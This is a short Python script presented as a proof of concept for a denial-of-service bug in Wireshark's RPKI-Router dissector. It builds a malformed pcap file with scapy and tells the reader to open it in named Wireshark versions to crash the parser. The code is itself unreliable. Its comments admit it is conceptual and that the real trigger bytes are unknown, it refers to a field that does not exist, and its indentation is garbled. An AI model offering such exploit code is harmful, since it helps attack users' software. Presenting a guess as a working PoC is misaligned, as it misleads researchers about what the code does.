The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC Generator for CVE-2026-6522 (Wireshark RPKI-Router Infinite Loop)
Description: This script generates a malformed pcap file designed to trigger
the infinite loop in the RPKI-Router dissector.
Usage: python3 generate_poc.py
"""
from scapy.all import *
import sys
# Constructing a malformed RPKI-Router packet (Conceptual)
# The specific bytes required to trigger the loop depend on the dissector's logic.
# Here we simulate a packet with a length field that causes the parser to loop.
class Malformed_RPKI(Packet):
name = "Malformed RPKI"
fields_desc = [
ByteField("Version", 0),
ByteField("PDUType", 0),
# A malicious length field that might cause an off-by-one or endless loop
FieldLenField("Length", None, length_of="Data", fmt="!I")
]
# Create the packet structure
# Note: Actual trigger bytes would require reverse engineering the specific vulnerability fix.
pkt = IP(dst="127.0.0.1")/TCP(dport=7000)/Malformed_RPKI(Length=0xFFFFFFFF)
# Save to pcap file
filename = "cve_2026_6522_poc.pcap"
wrpcap(filename, pkt)
print(f"[+] PoC file generated: {filename}")
print(f"[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")